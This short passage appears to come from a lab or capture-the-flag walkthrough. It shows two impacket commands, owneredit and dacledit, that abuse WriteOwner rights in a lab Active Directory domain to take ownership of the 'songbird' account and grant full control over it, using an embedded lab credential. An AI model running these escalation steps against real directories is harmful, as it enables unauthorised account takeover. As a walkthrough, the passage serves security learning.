We only have rights to write owner, it doesn't mean we are the owner. But here we are changing that
impacket-owneredit -action 'write' -new-owner 's.reed' -target 'songbird' 'MILITECH.LOCAL'/'S.REED':'P@ssword123'
Since we are the owner, we can write to ourselves full access to user songbird
impacket-dacledit -action 'write' -rights 'FullControl' -principal 's.reed' -target 'songbird' 'MILITECH.LOCAL'/'S.REED':'P@ssword123'